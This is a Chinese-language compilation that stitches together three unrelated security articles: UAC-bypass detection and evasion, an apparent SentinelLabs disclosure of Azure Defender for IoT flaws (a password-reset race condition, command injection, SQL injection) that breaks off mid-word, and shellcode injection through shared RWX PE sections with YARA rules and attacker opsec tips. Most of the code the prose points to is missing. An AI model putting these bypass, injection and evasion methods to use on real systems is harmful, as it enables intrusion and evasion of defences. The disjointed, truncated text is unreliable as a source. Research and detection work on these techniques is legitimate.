以下是不同的惡意軟件家族採用這種方法進行UAC繞過的例子(如DarkSide和LockBit勒索軟件家族)，在啟動加密和逃避能力之前提高完整性水平，很難預防： 令牌安全屬性James Forshaw 對利用進程令牌安全屬性來識別作為自動提升應用程序的後代啟動的進程的可能性進行了深入的觀察。 ProcessHacker 也捕獲此類信息。下面是通過fodhelper UAC 繞過啟動的notepad.exe 實例的令牌屬性示例。 LUA://HdAutoAp屬性意味著它是一個自動提升的應用程序(也為提升的COM對象和AppInfo硬編碼的白名單進程填充)。 DecHdAutoAp意味著它是一個自動提升應用程序的後代，這在跟踪通過UAC繞過生成的進程樹時非常有用。 Elastic Endpoint 安全7.16 及更高版本通過流程執行事件(process.Ext.token.security_attributes) 捕獲此信息，這為在沒有先驗知識的情況下尋找和檢測UAC 繞過劫持自動提升程序或COM 接口的執行流提供了機會繞過細節（目標二進制、COM 接口、重定向方法和其他重要細節）： 可疑的自動提升程序子進程： 上面的查詢還匹配UAC旁路的所有後代進程，而不僅僅是直接子進程。 我們可以看到這種方法通過註冊表鍵操作檢測fodhelper 執行流劫持： 這是通過模擬受信任目錄的匹配UAC 繞過的示例： 以下是通過Elevated COM 接口匹配3 種不同UAC 旁路的示例： 逃避檢測有研究人員發表了一篇文章，討論了許多不限於繞過UAC 的逃避技術，例如重命名文件夾或註冊表鍵、註冊表符號鏈接以基於特定文件路徑/註冊表鍵更改或不同的關聯來破壞檢測邏輯同一過程的事件。不過大多數惡意軟件家族都不會費心修改和調整這些技術。 下面是一個通過目錄重命名（UACME 22）逃避文件監控的示例。 下面是一個通過鍵重命名(byyeintegrity8)來監控註冊表鍵路徑逃避的示例。 最近添加到UACME v.3.5.7 的另一個有趣的逃避技巧是CurVer 子鍵，可用於重定向shell 默認處理程序。這有效地繞過了尋找硬編碼可疑註冊表路徑/值的檢測： 對於與DLL劫持相關的基於文件的檢測，最好使用DLL加載事件(Elastic Endpoint Security 7.16日誌非microsoft簽名的DLL)。對於註冊表來說，需要混合註冊表。字符串和值名應該比完整的鍵路徑更有彈性。 下面的EQL相關示例展示瞭如何檢測偽裝成System32 的目錄中的DLL 加載（即作為windir/systemroot 環境變量修改的結果）： 此示例顯示了兩種不同的匹配技術(註冊表鍵操作和通過虛假Windir劫持DLL)： 下一個示例結合了註冊表符號鏈接和註冊表鍵重命名，以逃避基於註冊表鍵更改監視（ms-settings 或shell\open\command）的fodhelper UAC 繞過檢測： UACME v.3.5及以上版本實現了對涉及註冊表鍵操作的方法的這種逃避。 你可以使用Elastic Endpoint或Sysmon日誌查找註冊表符號鏈接的創建，方法是查找值名稱等於SymbolicLinkValue的註冊表修改。 用於檢測此逃避的示例KQL 查詢是：registry.value :'SymbolicLinkValue' 和registry.key :S-1-5-21-15Classes\\*`： 最常見的UAC 繞過在野外使用的惡意軟件家族回不斷變化和迭代。以下是惡意軟件家族常用的UAC繞過方法： 通過UAC 繞過最常見的執行命令是惡意軟件以高完整性重新執行自身或防禦逃避技術，例如： 篡改AV 防禦策略； 寫入受HKLM 保護的註冊表鍵； 篡改系統恢復設置； 總結在這篇文章中，我們介紹了UAC繞過的主要方法，以及如何檢測它們，以及如何用令牌安全屬性豐富流程執行事件，使我們能夠創建一個更廣泛的檢測邏輯，以匹配未知的繞過。

SentinelLabs 在Microsoft Azure Defender for IoT 中發現了許多影響雲和本地客戶的嚴重漏洞。 未經身份驗證的攻擊者可以通過濫用Azure 密碼恢復機制中的漏洞遠程攻擊受Microsoft Azure Defender for IoT 保護的設備。 SentinelLabs的調查結果已於2021年6月主動報告給微軟，這些漏洞被定義為CVE-2021-42310、CVE-2021-42312、CVE-2021-37222、CVE-2021-42313 和CVE-2021-42311，且標記為嚴重，一些CVSS 得分甚至為10.0。 Microsoft 已發布安全更新以解決這些嚴重漏洞。鼓勵用戶立即採取行動。 目前，SentinelLabs 尚未發現野外濫用的證據。 技術細節運營技術(OT) 網絡雖然很流行，但是，其中許多技術在設計時並未考慮到安全性，並且無法通過傳統的IT 安全控制進行保護。與此同時，物聯網(IoT) 所連接的數十億設備大大增加了攻擊面和安全風險。 但供應商並沒有忽視這個問題，許多供應商都提供了安全解決方案以試圖解決這個問題，但如果安全解決方案本身就存在著漏洞怎麼辦？在本文中，我們將討論Microsoft Azure Defender for IoT 中發現的嚴重漏洞，這是Microsoft Azure 的IoT/OT 網絡安全產品。 首先，我們會介紹密碼重置機制中的漏洞如何被遠程攻擊者濫用以獲得未經授權的訪問。然後，我們討論了Defender for IoT 中的多個SQL 注入漏洞，這些漏洞允許遠程攻擊者無需身份驗證即可獲得訪問權限。最終，提出有關安全產品本身的安全性及其對易受攻擊部門安全態勢的整體影響的嚴重問題。 Microsoft Azure Defender for IoTMicrosoft Defender for IoT 是一種無代理網絡層安全性，用於持續的IoT/OT 資產發現、漏洞管理和威脅檢測，無需更改現有環境。它可以完全部署在本地或與Azure 連接的環境中。 該解決方案由兩個主要組件組成： Microsoft Azure Defender For IoT Management——使SOC 團隊能夠管理和分析從多個傳感器聚合到單個儀表板的警報，並提供網絡安全狀況的整體視圖。 Microsoft Azure Defender For IoT Sensor – 發現並持續監控網絡設備。傳感器使用物聯網和OT 設備上的被動（無代理）監控來收集ICS 網絡流量。傳感器連接到SPAN 端口或網絡TAP，並立即開始對IoT 和OT 網絡流量執行DPI（深度數據包檢測）。 這兩個組件既可以安裝在專用設備上，也可以安裝在VM 上。 深度包檢測(DPI) 是通過負責分析網絡流量的Horizon 組件實現的。 Horizon 組件加載內置解析器，並且可以擴展以添加自定義網絡協議解析器。 物聯網Web 界面攻擊面防禦管理和傳感器共享大致相同的代碼庫，配置更改以適應設備的用途。這就是為什麼兩台設備都受到大多數相同漏洞影響的原因。 兩台設備上暴露的最吸引人的攻擊面是Web 界面，它允許以簡單的方式控制環境。該傳感器還暴露了另一個攻擊面，即解析網絡流量的DPI 服務。 安裝和配置管理和傳感器後，我們會看到Web 界面的登錄頁面。 相同的憑據也用作SSH 服務器的登錄憑據，這讓我們對系統的工作方式有了更多的了解。我們要做的第一件事是獲取資源以了解幕後發生的事情，那麼我們如何獲取這些資源呢？ Defender for IoT 是一款前身為CyberX 的產品，於2020 年被微軟收購。在“cyberx”用戶的主目錄中查找，我們發現了安裝腳本和一個包含系統加密文件的tar 壓縮文件。讀取腳本時，我們找到了解密壓縮文件的命令。簡化版如下： 解密密鑰在所有安裝中共享。 提取數據後，我們找到了Web 界面的源代碼（用Python 編寫）並開始工作。 首先，我們的目標是找到任何公開的未經身份驗證的API，並查找其中的漏洞。 尋找潛在的漏洞urls.py 文件包含Web 應用程序的主要路由： 使用Jetbrains IntelliJ 的類層次結構功能，我們可以輕鬆識別不需要身份驗證的路由控制器。 不需要身份驗證的路由控制器從BaseHandler 繼承並且不驗證身份驗證或需要秘密令牌的每個控制器在此時都是一個很好的候選者。 Azure 的密碼恢復機制管理和傳感器的密碼恢復機制操作如下： 1.訪問管理/傳感器URL（例如，https://ip/login#/dashboard）； 2.進入“密碼恢復”頁面； 3.將此頁面中提供的ApplianceID 複製到Azure 控制台，並獲取你在密碼重置頁面中上傳的密碼重置ZIP 文件。 4.使用步驟2 中提到的表格將簽名的ZIP 文件上傳到管理/傳感器密碼恢復頁面。這個ZIP包含數字簽名的證明，通過數字證書和簽名數據的方式，證明用戶是這台設備的所有者。 5.生成新密碼並顯示給用戶： 5.1實際過程分為對管理/傳感器服務器的兩個請求： 5.1.1上傳簽名的ZIP 證明； 5.1.2密碼恢復； 5.2當上傳ZIP文件時，它被解壓縮到/var/cyberx/reset_password目錄(由zipfileconfigationapihandler處理)； 5.3在處理密碼恢復請求時，服務器會執行以下操作： 5.3.1 PasswordRecoveryApiHandler 控制器驗證證書。這將驗證證書是否由根CA 正確簽名。此外，它還會檢查這些證書是否屬於Azure 服務器。 5.3.2向內部Tomcat 服務器發送請求以進一步驗證設備的屬性。 5.3.3如果所有檢查都正確通過，PasswordRecoveryApiHandler將生成一個新密碼並將其返回給用戶。 ZIP 包含以下文件： IotDefenderSigningCertificate.pem – Azure 公鑰，用於驗證ResetPassword.json 中的數據簽名，由issuer.pem 簽名。 Issuer.pem – 簽署IotDefenderSigningCertificate.pem，由受信任的根CA 簽署。 ResetPassword.json – JSON 應用程序數據，設備的屬性。 ResetPassword.json 文件的內容如下所示： 根據步驟2，處理文件上傳到reset_password目錄（components\xsense-web\cyberx_web\api\admin.py:1508）的代碼如下： 如下所示，該代碼將用戶交付的ZIP解壓到上述目錄，並處理密碼恢復請求(cyberx python庫文件django_helper .py:576)： 該函數首先驗證提供的用戶並調用函數_try_reset_password： 在內部，此代碼會驗證證書，包括頒發者。 之後，對內部API http://127.0.0.1:9090/core/api/v1/login/reset-password 的請求由最終執行以下代碼的Java 組件發出和處理： 此代碼再次驗證密碼重置文件。這次它還驗證了ResetPassword.json 文件的簽名及其屬性。 如果一切順利並且Java API 返回200 OK 狀態碼，PasswordRecoveryApiHandler 控制器繼續並生成新密碼並將其返回給用戶。 Defender for IOT 中的漏洞如圖所示，密碼恢復機制由兩個主要部分組成： Python Web API（外部）； Java Web API（tomcat，內部）； 這引入了一個time-of-check-time-of-use(TOCTOU) 漏洞，原因是沒有應用同步機制。 如上所述，重置密碼機制從上傳ZIP 文件開始。這個原語允許我們將任何文件上傳到/var/cyberx/reset_password目錄並將其解壓縮。 可以在第一次驗證（Python API）和第二次驗證（Java API）之間更改/var/cyberx/reset_password 中的文件，Python API文件由Azure 證書正確簽名。然後，Java API 處理要替換的自定義文件，導致它錯誤地同意其真實性並返回200 OK 狀態代碼。 密碼恢復Java API包含邏輯漏洞，這些漏洞讓專門設計的有效負載繞過了所有驗證。 Java API 驗證JSON 文件的簽名（與上面的代碼相同）： 這裡的問題是它沒有驗證IotDefenderSigningCertificate.pem 證書，而不是Python API 驗證。它只檢查JSON 文件中的簽名是否由附加的證書文件簽名，這引入了一個重大漏洞。 因此，攻擊者可以生成自簽名證書並簽署將通過簽名驗證的ResetPassword.json 有效負載。 如前所述，ResetPassword.json 如下所示： 之後，有一個訂閱ID 檢查： 這是遠程攻擊者無法獲得的唯一屬性，並且在合理的時間內無法猜測。但是，可以輕鬆繞過此檢查。 該代碼從JSON 文件中獲取subscriptionId，並將其與machineSubscriptionId 進行比較。但是，這裡的代碼有漏洞。它檢查machineSubscriptionId 是否包含來自用戶控制的JSON 文件的subscriptionId，而不是相反。contains() 的使用是不安全的。 subscriptionId 採用GUID 格式，這意味著它必須包含連字符。這允許我們通過僅提供單個連字符來繞過此檢查。 接下來，檢查issueDate 和ApplianceId。這已經由密碼恢復頁面（在步驟2 中提到）提供給我們。 現在我們明白了，我們可以繞過Java API 中的所有檢查，這意味著我們只需要成功贏得競爭條件並最終在未經授權的情況下重置密碼。 ZIP上傳界面和密碼恢復界面分開的事實在開發階段派上了用場。 Azure Defender for IoT的被攻擊過程為了準備攻擊，我們需要執行以下操作。 從Azure 門戶獲取合法的密碼恢復ZIP 文件。顯然，我們無法訪問受害設備所屬的Azure 用戶，但我們可以使用任何Azure 用戶並生成一個“虛擬”ZIP 文件。我們只需要恢復ZIP 文件即可獲得合法證書。這可以通過以下URL 完成： 為此，我們可以創建一個新的試用Azure 帳戶並使用上述接口生成恢復文件。秘密標識符無關緊要，可能包含垃圾。 然後我們需要生成一個自定義的（“壞的”）ZIP 文件。此ZIP 文件將包含兩個文件： IotDefenderSigningCertificate.pem – 自簽名證書。可以通過以下命令生成： ResetPassword.json – 屬性數據JSON 文件，由上述自簽名證書籤名並進行相應修改以繞過Java API 驗證。 可以使用以下Java 代碼對該JSON 文件進行簽名： 如前所述，applianceId 是從密碼恢復頁面獲取的。 tenantId未經驗證，因此可以是任何內容。 issuanceDate參數是自解釋的。 一旦生成並簽名，可以將其添加到ZIP 壓縮文件並供以下Python 漏洞利用腳本使用： benign.zip文件是從Azure 門戶獲取的ZIP 文件，而malicious.zip文件是如上所述的自定義ZIP 文件。 上面的漏洞利用腳本執行TOCTOU 攻擊以重置並接收cyberx用戶名的密碼，而無需任何身份驗證。它通過使用三個線程來實現： looper_benign – 負責無限循環上傳良性ZIP 文件； looper_malicious – 與looper_benign相同，但是上傳惡意ZIP，在這個配置中有1秒的超時時間； looper_recover – 發送密碼恢復請求以觸發易受攻擊的代碼； 不幸的是，文檔提到ZIP 文件不能被篡改。 該漏洞在CVE-2021-42310中得到了恢復。 以root #1 身份執行未經身份驗證的遠程代碼至此，我們可以獲得特權用戶cyberx的密碼。這允許我們登錄到SSH 服務器並以root 身份執行代碼。即使沒有這個，攻擊者也可以使用更隱蔽的方法來執行代碼。 使用獲取的密碼登錄後，攻擊面大大增加。例如，我們在更改密碼機制中發現了一個簡單的命令注入漏洞： 來自components\xsense-web\cyberx_web\api\authentication.py:151： 該函數接收來自用戶的三個JSON 字段，“username”、“password”、“new_password”。 首先，它驗證我們已經擁有的用戶名和密碼。接下來，它只使用正則表達式檢查密碼的複雜性，但不清理命令注入原語的輸入。 在驗證之後，它使用攻擊者控制的用戶名和新密碼以root身份執行/usr/local/bin/cyberx-users-password-reset腳本。由於該函數沒有正確地對“new_password”的輸入進行清理，所以我們可以注入任何我們選擇的命令。我們的命令將在sudo的幫助下以root用戶的身份執行，這讓我們可以以root用戶的身份執行代碼： 這可以通過以下HTTP 數據包來利用： 該漏洞在CVE-2021-42312中被修復。 POC接下來，我們將介紹兩個額外的路由和新漏洞，以及流量處理框架中的一個漏洞。 這些漏洞是基本的SQL 注入（稍加改動），但它們對產品和組織網絡的安全性有很大影響。 CVE-2021-42313DynamicTokenAuthenticationBaseHandler類繼承自BaseHandler類，不需要身份驗證。這個類包含兩個容易被SQL注入的函數(get_version_from_db, uuid_is_connected)。 如上所示，UUI

在本文中，我們將探討如何濫用某些特殊的PE節（PE Sections），在無需直接訪問進程的情況下將任意shellcode植入遠程進程的內存中。 跨進程橫向移動是惡意軟件中非常常見的一種技術，以便在系統間進行傳播。近年來，微軟已經通過“Microsoft-Windows-Threat-Intelligence”ETW提供程序增加了安全遙測功能，以對抗這種威脅。 當這種新增的遙測功能與現有的方法（如ObRegisterCallbacks）結合在一起後，攻擊者在進行橫向移動過程中，相關的惡意操作很難逃過內核可見遙測的法眼。在本文中，我們將探討如何濫用某些特殊的PE節，在無需直接訪問進程的情況下將任意shellcode植入遠程進程的內存中。 背景知識現有的橫向移動方法，通常都涉及危險的API調用，如OpenProcess，以獲得進程句柄，並伴有與內存相關的操作，如VirtualAlloc、VirtualProtect或WriteProcessMemory。近年來，針對這些操作的檢測有所增加。 例如，在舊版本的Windows上，內核驅動程序可見的唯一跨進程API調用，就是ObRegisterCallbacks，它常用於創建進程和線程句柄。 微軟威脅情報ETW提供程序引入的可見性已經擴展到涵蓋以下操作： 1、讀/寫虛擬內存調用（EtwTiLogReadWriteVm）； 2、可執行內存的分配（EtwTiLogAllocExecVm）； 3、將內存保護屬性改為可執行文件（EtwTiLogProtectExecVm）； 4、映射可執行節（EtwTiLogMapExecView）。 進入另一個進程上下文的其他方法通常與其他檢測向量一起出現。例如，橫向移動的另一種方法可能涉及基於磁盤的攻擊，如代理Dll注入。這類攻擊的問題在於，它們通常需要將惡意代碼寫入磁盤，這對於基於內核的防禦解決方案是可見的。 由於已知的跨進程移動方法需要用到這些可見的操作，因此，要想打敗防御者可用的遙測技術，就必須超越現有的方法。 發現過程最近，我研究了在不影響PE格式二進製文件可用性的條件下，可以將這種二進製文件破壞到哪種程度。例如，您是否可以將已知的惡意工具（如Mimikatz）破壞到這樣一種程度：既不會影響其可操作性，同時，還能讓反病毒軟件中內置的映像解析器無法正常對其進行解析？ 與Linux中的ELF可執行文件類似，Windows PE映像也是由“節”組成的。例如，代碼通常存儲在名為.text的節中，可變數據可以在.data節中找到，而只讀數據通常存放到.rdata節中。但是，操作系統是如何知道哪些節包含代碼，或是可寫的呢？每個節都具有相應的“characteristics（特徵）”，用於記錄這段內存的相關信息。 對於PE節來說，單單記錄在冊的特徵就超過35個。其中，最常見的特徵包括IMAGE_SCN_MEM_EXECUTE、IMAGE_SCN_MEM_READ和IMAGE_SCN_MEM_WRITE，它們分別用於定義一個節是否為可執行、可讀和/或可寫的。然而，這些只是PE節的各種特徵中的一小部分而已。 當試圖破壞PE節頭時，一個特定的標誌引起了我的注意： “IMAGE_SCN_MEM_SHARED”特徵 根據Microsoft的文檔，IMAGE_SCN_MEM_SHARED標誌表示“該節可以在內存中共享”。但是，這到底是什麼意思呢？在網絡中沒有找到太多關於該標誌的說明文檔，但事實證明，如果啟用該標誌，該節的內存將在加載了該映像的所有進程之間共享。例如，如果進程A和B加載一個PE映像，其中包含一個“共享”（並且可寫）的節，那麼進程A中該節的內存中的任何變化都將反映在進程B中。 與我們將在本文中討論的理論密切相關的一篇文獻是“DLL shared sections: a ghost of the past”。在這篇文章中，Coldwind探討了由具有IMAGE_SCN_MEM_SHARED特徵的PE節的二進製文件所帶來的潛在風險。 Coldwind解釋說，這些PE映像帶來的風險“是一個古老而眾所周知的安全問題”，並引用了微軟在2004年發表的一篇文章，題為“ Why shared sections are a security hole”。該文章只考察了“讀/寫共享節”和“只讀共享節”所構成的威脅，而沒有討論第三種可能，即“讀/寫/執行共享節”。 利用共享節儘管研究人員和微軟本身知道共享節的一般風險已經有很長一段時間了，但還沒有文獻對可讀、可寫和可執行(RWX-S)的共享節的潛在濫用進行過深入介紹。 RWX-S二進製文件具有極大的進攻潛力，這是因為：如果您可以使遠程進程加載指定的RWX-S二進製文件，那麼您就在遠程進程中獲得了一個可執行的內存頁，即使您對這個內存頁進行修改，基於內核的防禦解決方案也是看不到的。為了注入代碼，攻擊者可以將RWX-S二進製文件加載到自己的進程中，並在內存中使用他們想要的任何惡意代碼編輯該節，然後將RWX-S二進製文件加載到遠程進程中，這時，他們自己進程中的修改也會反映在受害者進程中。 加載RWX-S二進製文件本身的操作對防禦性解決方案仍然是可見的，但正如我們將在後面的部分中討論的那樣，對於在惡意上下文之外使用的合法RWX-S二進製文件，實際上有很多選擇的餘地。 使用這種技術時，有幾點需要注意： 1、攻擊者必須能夠將RWX-S二進製文件加載到遠程進程中。不過，該二進製文件不需要包含任何惡意代碼，但是，必須有一個PE節是RWX-S的。 2、如果RWX-S二進製文件是用於x86架構的，則x64進程內的LoadLibrary調用將失敗。不過，我們仍然可以通過打開文件、創建具有屬性SEC_IMAGE的節並映射節的視圖，在x64進程中手動映射x86二進製文件。 3、RWX-S二進製文件不在會話之間共享。 RWX-S二進製文件由同一會話中的非特權進程和特權進程共享。 4、對共享節的修改不會寫入磁盤。例如，由ReadFile返回的緩衝區，以及映射具有屬性SEC_COMMIT的映像時所返回的緩衝區，都不包含對共享節的任何修改。只有當二進製文件映射為SEC_IMAGE時，才會存在這些更改。這也意味著對共享節的任何修改都不會破壞磁盤上的驗證碼簽名。 5、除非所使用的RWX-S二進製文件的入口點位於共享可執行節中，否則攻擊者必須能夠在遠程進程中的任意地址執行代碼。這不需要直接的進程訪問。例如，SetWindowsHookEx可用於在沒有直接進程訪問權限的情況下執行模塊中的任意指針。 接下來，我們將為讀者介紹該理論的實際實現，以及RWX-S宿主二進製文件的在野普及情況。 通過修改入口點以獲得執行權限在某些情況下，可以繞過攻擊者必須能夠在遠程進程中執行任意指針的限制。 如果RWX-S宿主二進製文件的入口點位於RWX-S節內，則攻擊者不需要特殊的執行方法。 相反，在將RWX-S宿主二進製文件加載到遠程進程之前，攻擊者可以修改位於映像入口點的內存，使其指向指定的shellcode。當受害進程加載RWX-S宿主二進製文件並試圖執行入口點時，攻擊者的shellcode將被執行。 在野外尋找RWX-S二進製文件這項研究試圖解決的問題之一是“RWX-S的威脅有多廣泛？”。為了確定這項技術的流行程度，我使用了VirusTotal的Retrohunt功能，該功能允許用戶“使用……YARA規則掃描過去12個月中發送給VirusTotal的所有文件”。 為了在野外檢測無簽名的RWX-S二進製文件，我們創建了一個自定義YARA規則，專門用於檢查PE映像中的RWX-S節： import'pe' ruleRWX_S_Search { meta: description='DetectsRWX-Sbinaries.' author='BillDemirkapi' condition: foranyiin(0.pe.number_of_sections-1):( (pe.sections[i].characteristicspe.SECTION_MEM_READ)and (pe.sections[i].characteristicspe.SECTION_MEM_EXECUTE)and (pe.sections[i].characteristicspe.SECTION_MEM_WRITE)and (pe.sections[i].characteristicspe.SECTION_MEM_SHARED)) }這個規則所做的事情，就是枚舉二進製文件的PE節，並檢查它是否可讀、可寫、可執行和共享的。 當通過Retrohunt功能搜索這個規則時，會發現超過10,000個無簽名的二進製文件（當結果超過10,000個時，Retrohunt功能就會停止搜索）。 當再次搜索該規則時，可以稍微修改一下，以檢查PE映像對應的機器類型是否為MACHINE_AMD64機，這時，只找到了99個x64架構的RWX-S二進製文件。 這表明，在過去的12個月中，用於x64機器的RWX-S二進製文件相對不常見，同時還表明防禦性解決方案可能能夠過濾RWX-S二進製文件，而不會在受保護的機器上產生明顯的噪聲。 為了檢測已簽名的RWX-S二進製文件，只需對上面的YARA規則稍加修改，以包含對authenticode簽名的檢查。 import'pe' ruleRWX_S_Signed_Search { meta: description='DetectsRWX-Ssignedbinaries.Thisonlyverifiesthattheimagecontainsasignature,notthatitisvalid.' author='BillDemirkapi' condition: foranyiin(0.pe.number_of_sections-1):( (pe.sections[i].characteristicspe.SECTION_MEM_READ)and (pe.sections[i].characteristicspe.SECTION_MEM_EXECUTE)and (pe.sections[i].characteristicspe.SECTION_MEM_WRITE)and (pe.sections[i].characteristicspe.SECTION_MEM_SHARED)) andpe.number_of_signatures0 }不幸的是，對於YARA規則，沒有一個簡單的方法來確定一個PE映像是否包含基於有效證書的authenticode簽名——所謂有效證書，指的是還未過期，或在證書有效期內用有效的時間戳簽名的。這意味著上面的YARA規則會包含一些具有無效簽名的二進製文件的誤報。由於存在誤報，上面的規則無法直接給出一個具有有效的authenticode簽名的RWX-S二進製文件清單。為了提取已簽名的二進製文件，我們編寫了一個簡單的Python腳本，下載低於檢測閾值的每個樣本並驗證每個二進製文件的簽名。 經過這一處理，發現了大約15個具有有效簽名的獨特二進製文件。正如未簽名的二進製文件檢查結果所示，在過去12個月裡，具有簽名的RWX-S二進製文件在野外並不是很多。此外，15個獨特的已簽名二進製文件中只有5個是用於x64機器。值得注意的是，雖然這個數字看起來很低，但使用已簽名的二進製文件只是為了方便，在大多數情況下肯定不是必需的。 濫用未簽名的RWX-S二進製文件修改未簽名的二進製文件鑑於諸如用戶模式代碼完整性之類的緩解措施尚未得到廣泛採用，因此，修改現有的未簽名二進製文件仍然是一種可行的方法。 若要通過未簽名的二進製文件來濫用RWX-S節，攻擊者可以： 1、查找要修改的、合法但未簽名的宿主DLL。 2、將未簽名的DLL讀入內存，並修改節的特徵，使其具有可讀、可寫、可執行和共享的特性。 3、在使用之前，將這個新修補的RWX-S宿主二進製文件寫入磁盤的某個位置。 以下是維護操作安全的幾點建議： 1、建議攻擊者不要修補磁盤上現有的二進製文件。例如，如果攻擊者只修改了現有二進製文件的節特徵，並將修改過的程序寫入磁盤上的同一路徑，則防禦解決方案可以檢測到RWX-S補丁已應用於現有的文件。因此，建議將修補後的二進製文件寫入磁盤上的不同位置。 2、建議攻擊者添加RWX-S以外的其他補丁程序，比如修改與節特徵相關的其他無意義的屬性，或者隨機修改部分代碼（重要的是這些修改看上去並不是惡意的）。這樣做，是為了迷惑對手。 使用現有的未簽名二進製文件實際上，攻擊者並不需要創建自定義的、應用過補丁的二進製文件。例如，使用上一節中的YARA規則，攻擊者可以使用任何可能用於合法應用程序的現有未簽名RWX-S二進製文件。 在內核中濫用已簽名的RWX-S二進製文件儘管在過去的12個月內只發現了15個有簽名的RWX-S二進製文件，但在利用可能需要已簽名模塊的進程時，具有有效的authenticode簽名這一事實可能非常有用。 搜索顯示的一個有趣的已簽名的RWX-S二進製文件是一個已簽名驅動程序。當試圖測試共享節是否可以從用戶模式複製到內核模式時，發現內存沒有共享，即使已經通過Session 0中的進程映射和修改了該映像。 小結儘管共享節的稀有性為防御者提供了獲得高保真遙測的獨特機會，但RWX-S二進製文件仍然是一種強大的方法，它戳破了關於跨進程內存分配和執行的常見臆想。圍繞這一技術，防御者面臨的主要挑戰是它在未簽名代碼中的普遍性。檢測RWX-S二進製文件可能相對簡單，但你如何判斷它是否被用於合法的應用程序呢？